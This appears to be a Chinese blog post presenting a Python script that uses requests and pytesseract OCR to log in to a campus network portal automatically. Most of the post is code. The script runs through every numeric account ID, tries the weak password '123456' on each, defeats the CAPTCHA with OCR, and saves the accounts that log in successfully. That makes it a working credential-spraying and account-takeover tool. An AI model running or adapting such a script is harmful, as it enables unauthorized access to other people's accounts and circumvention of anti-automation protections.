python requests模拟浏览器_使用python+requests+pytesseract模拟登录校园网

之前就想做这件事,今天下午校园网到期了,突然就想写一个关于模拟登录校园网的爬虫,通过python模拟浏览器登录,通过遍历账号可以…

在本次爬虫的过程中,也不算特别容易吧,废话不多说,使用到的模块有:

requests 发起网页请求

re正则提取网页信息

PIL+pytesseract 对验证码进行识别

以下试试本次爬虫的过程(以我们学校的校园网为例)以及回顾

目录

一.实例步骤

1.查看模拟登录的网页的源码,并且手动登录查看分析包

起初在

2.(具体)使用request获得checkcode码 以及 验证码

3.对验证码进行识别

4. 模拟登录,根据返回的网页判断账号密码是否匹配

二.遇到的坑

1. 网页network包分析

2. 使用request.session 保存cookies

完整代码如下(账号和验证码图片路径根据具体情况修改)

import requests

import hashlib

import re

from PIL import Image

import pytesseract

get_url = 'http://172.16.254.19:8080/Self/nav_login' # 登录页面

post_url = 'http://172.16.254.19:8080/Self/LoginAction.action' # post提交到的页面

yzm_url = 'http://172.16.254.19:8080/Self/RandomCodeAction.action?randomNum=' # 验证码的页面

for j in range(10)[1:]: #账号长度

for i in range(pow(10,j)-1): #遍历该长度的所有账号

i = str(i).rjust(j, '0')

s = requests.session() # 建立会话,保持会话信息,cookies

r = s.get(get_url) # get一次,得到cookies去获得验证码,同时需要获得checkcode

cookies = r.headers['Set-Cookie'] # 获取cookies

pat = 'checkcode="[0-9]+"' # 匹配得到验证码

checkcode = re.findall(pat, r.text)[0][11:-1] #获得校验码

cookies = cookies.strip('; Path=/Self/; HttpOnly') # 提取cookies

yzm_headers = {

'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8',

'Accept-Encoding': 'gzip, deflate',

'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',

'Connection': 'keep-alive',

'Cookie': cookies,

'Host': '172.16.254.19:8080',

'Referer': 'http://172.16.254.19:8080/Self/LoginAction.action',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',

} # 验证码请求头

yzm_response = s.get(yzm_url, headers=yzm_headers)

f = open('yzm.png', 'wb')

f.write(yzm_response.content) # 将图片写入文件,方便下面识别

f.close()

account = i # 账号

password = hashlib.md5('123456'.encode("utf8")).hexdigest() # 密码

form_data = {

'account': account,

'password': password,

'code': '',

'checkcode': checkcode,

'Submit': '登 录',

} # 模拟登录提交的表单

#调用函数识别验证码

yzm_num = pytesseract.image_to_string(Image.open(r'C:\Users\wq\Desktop\新建文件夹\python\yzm.png'))

form_data['code'] = yzm_num # 提交表单中的验证码

p_response = s.post(post_url, data=form_data) # 提交

if len(p_response.text) > 6500: #该账号密码匹配成功

with open('data.txt', 'a') as write_file: #将账号写入文件

write_file.write(i+'\n')

print(j) #输出当前账号位数

对于pytesseract模块的使用和安装,参考了https://blog.csdn.net/cherish_x/article/details/77688631

标签:cookies,网页,checkcode,登录,python,验证码,pytesseract,校园网,yzm

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值